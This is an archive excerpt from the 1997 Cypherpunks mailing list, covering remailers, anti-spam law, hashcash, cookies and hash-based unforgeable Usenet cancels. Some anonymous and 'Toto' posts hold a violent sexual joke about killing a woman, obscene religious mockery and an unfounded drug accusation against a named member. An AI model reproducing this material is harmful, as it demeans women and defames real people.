Date: Fri, 8 Aug 1997 22:15:55 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <oXN4ae54w165w@bwalk.dm.com>
Message-ID: <33EB4EB4.7ADC@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Declan McCullagh <declan@pathfinder.com> writes:
> 
> > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > which I'm told features four cookie settings. One rejects "third party
> > cookies."
> 
> Blessed are those who believe.
> 
And for those who don't believe there is always Read Only for
Cookies.txt.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 18:17:24 +0800
To: enoch@zipcon.net
Subject: Re: Exit Remailer Suggestion
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <199708080936.KAA01816@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> Someone wrote:

(That someone was me).

>  > What about AOL disks?  We need shorter lived, disposable
>  > remailers as exit remailers...  Let them take the heat,
>  > while the real remailers walk.  Lets see a series of
>  > "exitman" remailers.  Exitman remailers are walking targets
>  > left to fend for themselves as long as they may.
> 
> By reconfiguring current remailers to use a public Email service
> as the last link in the chain, we tap a potentially infinite
> supply of disposable accounts, on advertising-supported service
> providers with skins as thick as those of the bulk emailers.
> 
> Sounds like a plan to me.

OK, lets _do_ it!

Sounds much easier and less risky than relying on a recreational
cracker to provide a stream of short lived remailers as I was
suggesting.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 18:17:31 +0800
To: tcmay@got.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulkpostage fine)
In-Reply-To: <v03102800b0100f88f756@[207.167.93.63]>
Message-ID: <199708080956.KAA01839@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> [...]
> Nor are delivery services required to "know their customer" or to
> have ironclad proof of where a package originated. (Hell, even the
> U.S. Postal Service allows mail with no valid return address, and
> this was my experience in Europe as well.)

Because there is a from address people get picky that it ought to
contain a valid return address.  Many ISPs apparently have policies
which state that you aren't allowed to do SMTP forgeries.

Paper mail doesn't have this expectation.  Pity the people who
designed SMTP didn't leave this one out -- at this point it would be
difficult to get a From field added.  They could have followed the
paper mail norm and left it to the user to include (or not) whatever
contact info he wanted.  Of course you can see the natural convenience
of a From, or Replyto field, which is why it's there.

Now that the from field is there, it'll be even harder to remove from
implementations and protocols... basically impossible.

Still the spam counter-measure which many people are starting to use
of forging headers to avoid getting their email snarfed helps reduce
the expectation that the From field will contain anything useful.

However that isn't the only problem... the series of Received headers
allow those with the know how to recognise and narrow down where
forged mail came from.  But usually only to a mail hub where it was
injected at best, and then often only tentative with out collaboration
with involved sites.

Course Received: headers have their uses also, to debug sendmail
configs, and work out where mail is going.  Still would have been nice
if the feature was only included in the SMTP delivery stuff when
debugging mode was turned on.

> The "From:" field in e-mail is not to be confused with the "originator"
> (whatever that may be).
> 
> Not even the U.S. courts are so dumb as to accept the claim that a package
> delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
> the "sender."
> 
> When this "From:" thing eventually gets to a court, I expect this
> distinction will be obvious to all.
> 
> Remailers are just middlemen in a delivery process.

I hope you're right.

I still think laws against spam are the wrong approach, even if the
courts declare remailers as delivery mechanisms only.

	"Write code, not Laws."

(Btw who's quote is that?  I like it and wanted to quote it in an
article on Eternity.)

Re spam problems and writing code and not laws, hashcash was my best
attempt:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

However coding is not the only problem, the other is getting people to
use stuff.  Advertising, subscribing to appropriate newsgroups, going
to IETF meetings, deployment wins, but stuff dies due to little
investment in advocacy.  I haven't got the energy or resources to
advertise the above.  I reckon you could make nearly a full time job
just reading and corresponding with people on enough news admin groups
and mailing lists to get your message across to enough people to even
begin to make an impact.

I wrote the eternity service implementation 3 months ago, released
source code: no interest.  (Bar a few email messages saying "cool").
No demonstration system was the problem.

Mike Duvos provided a demonstration system last week when I reposted
the announce due to his discussing similar ideas, and poof: 4 eternity
servers, wired article, another request to write an article for some
magazine, offers to give talks at US universities.  Wew.

I also reckon, though obviously this is difficult to measure, that the
few hours invested in producing the flashy title bar graphics with a
more professional take off of the cypherpunks rose on field of entropy
logo and pirate skull with crossed-swords added more to the appeal of
the service than adding more features.  My normal HTML coding style of
drab grey with no graphics at all just doesn't look appealing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 23:24:09 +0800
To: cypherpunks@toad.com
Subject: Re: Third party rating systems are good for society
In-Reply-To: <Pine.GSO.3.95.970807201331.23044B-100000@well.com>
Message-ID: <97Aug8.110003edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 23:21:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: this could happen to remailers (was Re: Whining for 'Accountability')
In-Reply-To: <199708081140.MAA00231@server.test.net>
Message-ID: <97Aug8.111031edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 01:33:02 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <33EB4EB4.7ADC@acm.org>
Message-ID: <wkk5ae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Paul H. Merrill" <paulmerrill@acm.org> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Declan McCullagh <declan@pathfinder.com> writes:
> > 
> > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > which I'm told features four cookie settings. One rejects "third party
> > > cookies."
> > 
> > Blessed are those who believe.
> > 
> And for those who don't believe there is always Read Only for
> Cookies.txt.

This won't save cookies to disk, but won't they be around for the duration
of one session?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 20:39:11 +0800
To: jbaber@mi.leeds.ac.uk
Subject: Re: REPOST : Un-forgeable Cancels
In-Reply-To: <12867.9708080920@misun2.mi.leeds.ac.uk>
Message-ID: <199708081127.MAA00177@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Baber <jbaber@mi.leeds.ac.uk> writes:
> 1	When any message is sent a hash X is calculated as :
> 
> 			X = HASH(Mid,S)
> 
> 	where	Mid is the Message ID 
> 		S is a secret controlled by the author (eg a pass phrase)
> 
> 2	The hash value Y is then calculated such that:
> 
> 		Y = HASH(X) = HASH(HASH(Mid,S))
> 
> Any comments/glareing weaknesses that I have missed?

Sounds good to me.  I thought there was someone doing something like
this with hashes.  But then I never really looked into any of the
systems.  What does Greg Rose's PGPMoose do?  (One presumes it
involves PGP sigs?)

> This does assume that message IDs are available by the news program
> and are not allocated after sending. If this is not the case then it
> would be necessary to use other header information to calculate the
> hash such as the date/time and subject, or to store some kind of key
> at the authors end in order to reference the message (although in
> this case X may as well just be generated randomly and stored).

I think you don't even need this much uniqueness of hashing
material...

Say you just chose a random R and store it in ~/.news-preimage, and
HASH( R ) in ~/.news-image.

Now you post all of your posts with HASH( R ) in a header as you are
suggesting.

Now if you didn't want to be coerced in to cancelling your own posts
you just remove .news-preimage instantly.

You have to update your preimage for each cancel you do, but how many
cancels do people do anyway?  (Not many for their own benefit I
reckon).


This is a low security application, and ease of use over user typed
passwords will win I think.

Conceivably you could cope with the above by making .news-image
readable to the news system on your local net news service.  This
could transparently do the job without needing to update any clients
-- only an INN patch required.  Sounds like a phun project for
someone.

Issueing cancels would be more manual, but you could easily knock up a
perl script to instruct the NNTP server to do that.  (Or windows
program, or whatever).

If you really wanted to integrate cancels without updating clients,
for those that support them you'd have to give the NNTP news server
access to your preimage, R.  Not sure this is a good idea, as now your
ISP can be coerced into cancelling your message for you without your
cooperation.

Course all these problems go away if you do update clients, but it's
usually nice to offer an easy interim migration path, else no-one will
use it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 20:39:48 +0800
To: frogfarm@yakko.cs.wmich.edu
Subject: this could happen to remailers (was Re: Whining for 'Accountability')
In-Reply-To: <199708080858.EAA31914@yakko.cs.wmich.edu>
Message-ID: <199708081140.MAA00231@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Damage Justice <frogfarm@yakko.cs.wmich.edu> forwards:
>
> [article describing a spam-baiting case with an unsuspecting
> business man as victim.  Some spammer sends spam purportedly from
> business man... business man gets lots of harrasing
> calls... business man calls for `accountability'... `government must
> do something']

I think this article lends credence to my recent arguments that
control of spam will lead to control of remailers.  Kent has been
arguing against these suggestions on the grounds that I am being
unrealistic or something.  More recently Tim expressed optimism that
attacks on remailers via this route be struck down by courts.

Now the spammers aren't using remailers that much at the moment.
Anti-spam laws will make them do so (or make them use off-shore
accounts).

When an incident like this happens via remailers, there will be
similar calls for `accountability' on the net, and for `government to
do something about the problem'.

If you're paranoid, you'll consider it likely that the mega-spam bait
through the remailer that is used as the show case will actually have
originated from a Fed Stooge.  (A la US Postal Inspector being
originator of Kiddie Porn that got the Thomases locked up in the adult
BBS case).


I don't spell out what a call to arms by USG on `accountability on the
net' is likely to spells for remailers, surely.  (Remailer user
escrow?  Banned remailers?  Illegality of using remailers even in
other countries?  Legislation calling for US ISPs to block non US
remailers?)

You should be worried, and you should be saying no to spam laws (or
any laws about net content).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 9 Aug 1997 01:21:10 +0800
To: cypherpunks@toad.com
Subject: Re: Death of the North American Crypto archive?
In-Reply-To: <VJ94ae56w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970808130557.22603A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> > It is economics. Can anyone suggest an alternate host that might provide room
> > for a few hundred megabytes of ftp access for free (or nearly free)? Can
> > someone else in North American mirror all of that data, quickly, before the
> > site shuts down?
> 
> If it's under 650MB, I can fit it all on 1 CD...

If I knew where the site was, I could probably temporarily store it
somewhere until a site was foudn..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 9 Aug 1997 01:21:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <199708080956.KAA01839@server.test.net>
Message-ID: <97Aug8.131019edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Adam Back wrote:

> > Remailers are just middlemen in a delivery process.
> 
> I hope you're right.
> 
> I still think laws against spam are the wrong approach, even if the
> courts declare remailers as delivery mechanisms only.
> 
> 	"Write code, not Laws."
> 
> (Btw who's quote is that?  I like it and wanted to quote it in an
> article on Eternity.)
> 
> Re spam problems and writing code and not laws, hashcash was my best
> attempt:
> 
> 	http://www.dcs.ex.ac.uk/~aba/hashcash/
> 
> However coding is not the only problem, the other is getting people to
> use stuff.  Advertising, subscribing to appropriate newsgroups, going
> to IETF meetings, deployment wins, but stuff dies due to little
> investment in advocacy.  I haven't got the energy or resources to

I think you never answered the fundamental question:

But to what advantage is it for *ME* to use hashcash?

Saying that it is neat, patriotic, pious, or any other adjective won't get
my anonymous mail through any faster unless you can create a cartel of
remailers that expidite hashcashed mail, or use some type of new remailer
that others don't have and build hashcash into the distribution. 

You still have the problem that a large organization can buy large
computers just to do hashcash - look for networkable hashcash generators
if it becomes popular.

If it doesn't solve an immediate problem, it is similar to advocating
solar energy when it is more expensive and/or cumbersome than fossil
fuels.  If/when enough remailers are clogged, hashcash is likely to be
adopted, but it is difficult to sell something when others offer the same
thing for free.

> I wrote the eternity service implementation 3 months ago, released
> source code: no interest.  (Bar a few email messages saying "cool").
> No demonstration system was the problem.
> 
> Mike Duvos provided a demonstration system last week when I reposted
> the announce due to his discussing similar ideas, and poof: 4 eternity
> servers, wired article, another request to write an article for some
> magazine, offers to give talks at US universities.  Wew.

Having interesting content draws interest, and proposing a method is far
from doing a prototype (questions like "are newsgroups stored long
enough?" and "will the cgi script work properly?" are only answered by
a working implementation, and a few of the eternity servers I tried
returned nothing from the links, but are probably fixed).

The legal problems still need to be resolved.  As long as no copyrighted
material appears I think things will be fine, but when MSwhatever appears,
someone is going to say the eternity server is like an illegal cable
descrambler or make up something very similar to ban them since they
aren't merely forwarding the content from alt.anonymous.messages - if
encryption is an envelope, the eternity server opens it.

Otherwise, you could simply post the plaintext to an alt group.  If that
doesn't happen now (why?), then adding an encryptor and decryptor isn't
going to change it, otherwise simply post the encrypted text, and the
passphrase in the same message, or the encrypted text, the secret key,
etc.  Except that the URL interface makes access more convienient.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 8 Aug 1997 20:44:10 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <199708081138.NAA07099@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > How about if it is an employee of yours, using your computer
> > equipment, that sent the message, in explict contradition to your
> > companies stated policy?
> 
> Use a retraction server (David's project)

I wonder if there is a problem of inconsistent levels in this debate...

At one level, many people on this list are in favour of infrastructure
such as Usenet and the Web carrying all information without filtering with
respect to content, to avoid censorship, oppression and so on.

At another level, almost everybody has personal preferences as to what
they consider worthwhile information, what they want to read, what they
want their children/employees to read, and what they want their
privately-owned hardware to be used to carry.

At the content-free level, cancels are information just like anything
else, merely a stream of octets.  By definition, they _can't_ be morally
wrong at that amoral level where we talk only about whether
store-and-forward works properly or not.  Cancels, "forged" or otherwise
are just a tool, just bytes.

Within a particular value system, you might agree or disagree with a
particular cancel, or with the idea in general.  It's easy to configure a
news server or reader to conform to your preferences, just people who hate
spam are free to ignore it.  At this level, you can make judgements as to
which uses of that tool are justifiable.  (Cancels by sysadmins,
anti-spammers, spammers, system owners, governments, parents, copyright
lawyers or nobody at all.)

::Boots

  "I'm sorry but I just don't consider 'because he's a pedophile' to be a
   convincing argument."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 16:17:49 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <4DL2ae16w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808133524.450A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:
> > 	Not accepted ones.  They're treated as rogues, and asked to stop
> > it, and you know it.
> 
> Net.Scum like [...] Tim Brown,

Tim Brown is not an accepted canceler.

[...]

> Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):
> 
[...]
> ]Sounds cool.  Where do I get one?
> ]
> ]	If you have to ask, you don't get one.

[...]

> My cancelbot has been freely available for over 18 months.

And if thay can't find it thay have to ask therefore thay don't get one.
There are freely advalable alt.* newsgroup creation scripts, and still
peaple don't know how to post cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+qYSaQK0ynCmdStAQHQ+wP/XyMjFJs4tHq2qmwU9Ruve8vMdD574k2M
VXAxct9gwyJoP6w1vcmLJ8FnJ+IhFQPuFIP336QqhCRX+Uac7zeJ9akkTVrSE0J+
U8NSgXTjxwEIeOs9+lbiOwMkcBORXhsmUrPlyGkC8kyFzkzMun+4WtwwmDFsDdw4
1yjqDo5r/qk=
=Z0Lr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 9 Aug 1997 05:19:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <19970808210806.3667.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian.

You know, I've never viewed the Christians as the problem.  The real
problem is a shortage of lions. 

Clearly we need to start a Cypherpunks Emergency Lion Breeding program
immediately. 

-LunchMonger

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 02:49:42 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <wkk5ae1w165w@bwalk.dm.com>
Message-ID: <33EB8DA7.71C8@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> "Paul H. Merrill" <paulmerrill@acm.org> writes:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Declan McCullagh <declan@pathfinder.com> writes:
> > >
> > > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > > which I'm told features four cookie settings. One rejects "third party
> > > > cookies."
> > >
> > > Blessed are those who believe.
> > >
> > And for those who don't believe there is always Read Only for
> > Cookies.txt.
> 
> This won't save cookies to disk, but won't they be around for the duration
> of one session?
> 
True, true, but the belief level needed is low and the hysterical data
aspects are gone even if you are still tracking mud around from the
"current" walkabout.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Fri, 8 Aug 1997 21:41:41 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: REPOST : Un-forgeable Cancels
Message-ID: <12952.9708081327@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




Glad that the mail got through that time - not forged cancels though I am 
sure, more likely a cock up with my mail sppol.....

> Adam Back <aba@dcs.ex.ac.uk> writes: 
> Sounds good to me.  I thought there was someone doing something like
> this with hashes.  But then I never really looked into any of the
> systems.  What does Greg Rose's PGPMoose do?  (One presumes it
> involves PGP sigs?)

I must admit that not being a news admin and rarely posting to news I have
not realy looked at what is being worked on. I was just reading the 
'forged cancels' thread when I though of the hash idea.

>From what I can see (the full README is unavailable) PGPMoose is designed
to Cancel messages in a moderated newsgroup that have not been approved by
the moderator - by using PGP sigs to authenticate the approval.

see http://people.qualcomm.com/ggr/pgpmoose.html

This could be modified for general cancels but would then involve PGPMoose
having access to every authors Public Key.

> > This does assume that message IDs are available by the news program
> > and are not allocated after sending. If this is not the case then it
> > would be necessary to use other header information to calculate the
> > hash such as the date/time and subject, or to store some kind of key
> > at the authors end in order to reference the message (although in
> > this case X may as well just be generated randomly and stored).
> 
> I think you don't even need this much uniqueness of hashing
> material...

Personally I would prefer a unique value for every message, especially if
I was a prolific sender of news.

> Say you just chose a random R and store it in ~/.news-preimage, and
> HASH( R ) in ~/.news-image.
> 
> Now you post all of your posts with HASH( R ) in a header as you are
> suggesting.
> 
> Now if you didn't want to be coerced in to cancelling your own posts
> you just remove .news-preimage instantly.
> 
> You have to update your preimage for each cancel you do, but how many
> cancels do people do anyway?  (Not many for their own benefit I
> reckon).

This would work well but would allow an attacker to cancel any message sent
using that value of R as soon as the author sent a message. Generally
the more messages that you sent the more vulnerable you would be to this
(as more of your articles would still be in the news feed) - exactly how
much of a problem this would be depends on whether archivers accept cancels
(which I doubt) and how long the news group in question is stored in the news
spool before timing out.

> This is a low security application, and ease of use over user typed
> passwords will win I think.

This I completely agree with, I was initally thinking of leaving the password
as an Environmental variable set when the user logged on (.cshrc, .login,
AUTOEXEC.BAT etc as appropriate). It makes very little difference if this
is the case or if it was stored in a file, however a good news program could
offer the option of using a different random/secret for any particular message
if the author wanted it to be [more] secure from their systems manager.

> Conceivably you could cope with the above by making .news-image
> readable to the news system on your local net news service.  This
> could transparently do the job without needing to update any clients
> -- only an INN patch required.  Sounds like a phun project for
> someone.

This is far simpler than if you calculate a unique hash for each new
message and may be the part that wins the day.

> Issueing cancels would be more manual, but you could easily knock up a
> perl script to instruct the NNTP server to do that.  (Or windows
> program, or whatever).

I think that issueing cancels should be more complex than just clicking on
a button - after all once you have said something there is very little reason
to try to cover it up - in most cases a simple correction would do.

> If you really wanted to integrate cancels without updating clients,
> for those that support them you'd have to give the NNTP news server
> access to your preimage, R.  Not sure this is a good idea, as now your
> ISP can be coerced into cancelling your message for you without your
> cooperation.

This would generally be a bad idea, however you should remember that the
NNTP news server could simply be modified to overwrite yor Cancel_Ref:
header with their own value of Y anyway or even just not forward your
article, just as any news admin could (any news admin can only change those
'down the path' from them).

> Course all these problems go away if you do update clients, but it's
> usually nice to offer an easy interim migration path, else no-one will
> use it.
> 
> Adam

Again true, however this is true for any cancel checking mechanism. As far
as I can see the advantage to this idea over digital signatures is that the
NNTP program that has to decide whether to accept the cancel or not does
not need access to the public key of the sender.

Another thing is that the modification to the NNTP program is the same whether
you use a unique hash per message or a stored ~/.news-preimage as all that
it has to do is check that the value included in the cancel message hashes
to the value in the original message. This would allow quick updates to both
NNTP and the news-reader (probably originally using the stored preimage) and
later versions of the news-reader to be updated to include the unique hash
(which can still operate transparently to the user, using either a file or
environmental variable) without having to make any changes to the NNTP program.

Thanks for the comments,

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 9 Aug 1997 05:47:54 +0800
To: cypherpunks@toad.com
Subject: News Flash! "Lighting Bolt Strikes CypherPunks Mailing List Post!" / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB869B.498B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

David D.W. Downey wrote: 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading.

  To tell the truth, I'm really embarassed. It's not bad enough that
the TruthMailer was hit by lightning and deleted my references to
Tim C. May's Vernacular Translation of the Bible (in a shoddy attempt
to throw the emnity caused by my post in his direction), but I have
sunk to such a low level of reputation capital that I am being looked
down on by someone whose cocaine habit caused him to do such evil 
things that he changed his name from Morton Jr. to David D.W.

  I won't even try to pretend that I can answer your objections to my
post, since I am just a "drunken voice, barfing in the wilderness."
  However, there is one who will come "after" me (hopefully, not with a
gun), who I am merely "preparing the way" for. He also came "before"
me (which you can verify by checking the archives).
  He is the one who turned the CypherPunks away from the electronically
graven image of PGP and taught us to be paranoid in spirit. He taught
us that, although we are Phil's chosen people, we must wander in the
algorithmic desert for 40 bytes before we enter the Private Land.
  He was accused by the ASCII-art priests. He was crucified on the 
cross of censorship, and was deleted, but he arose after three weeks 
of posts  by "something called a Toto" to redeem the list members from
the sins they committed in calling for censorship and for the death 
of the list.

  He forgives those of us on the list who manage to dodge his eternal
rapid-fire, even though he makes fun of us by saying, "My father's
house has many Mansons...and too many fucking Mongers."
  After his list res-erection, his disciples' posts have spread his
words far and wide, in a new, distributed list known as "The New
Testicle."
 {"In the beginning, was the Turd..."
  "Beware of politicians fucking people in sheeple's clothing..."
  "The Revelation of Timothy C. May, which Zimmerman gave unto him,
  to show unto the newbies things which must shortly come to pass
  after introduction of the Clipper chip..." }

    Since lightning never strikes twice in the same place, I will repost
the message as "The _Really_ Big Lie," with a self-rating of FUD.
  If you hated the remailed sequel, you will despise the original.

Jesus H. Fucking ChristMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 8 Aug 1997 21:31:27 +0800
To: cypherpunks@toad.com
Subject: Source Code for New Encryption Algorithm
Message-ID: <199708081258.OAA15145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Source Code for the Dick TruthMeasure Encryption Algorithm:
(c) "The Hoff-Center of Virtual Math"

==============> 
|<eight inches>| + DOOM = DICK + DEATH = 2" + NULL = Nine Inch Nails

## Proof of Theorem:
## 
## If she says "I want nine inches, and I want to bleed." and you give
## her two inches, four times and stab her to death, using a 6" knife,
## then 4(DICK) + 6" = 8" + 6" = Nine Inch Nails.
##  
## Therefore, Nine Inch Nails band members have 14" Dicks.
##
## Basing the Private Key on Nine Inch Nails private parts, and the
## Secret Key on the secret location where the dead woman's body is
## buried, the sick, twisted creators of the "Dick TruthMeasure 
## Encryption Algorithm" have produced a cryptography product which 
## cannot be broken by normal people, using normal math.
## This has been confirmed by the independent research of Carol Anne
## Cypherpunk, who reports that Kent Crispin has always claimed that
## this, ================>, is eight inches, while Tim C. May claims
## this, ================>, is fourteen inches.
## Her research methods have been approved by TruthMonger, who
## states, "Give her two inches, and she takes a mile. She never 
## judges an encryption algorithm until she's fucked a mile with 
## your Dick in a 'rubber boot'."
## In response, Carol Anne Cypherpunk said of TruthMongers sexual
## prowess, "He claims that his Dick was the inspiration for the
## Eternity Server, but it is a forgery, like his posts to the list.
## It just _seems_ like it never ends when you are subjected to
## abuse of either of them. A mile, my ass..."

<EOC> (I mean, <EOF>)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 9 Aug 1997 05:59:14 +0800
To: cypherpunks@toad.com
Subject: The _Really_ Big Lie!
Message-ID: <33EB8A5E.7661@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: too_drunk_to_use_a_remailer@shit!.exposed!

[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]
 
  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
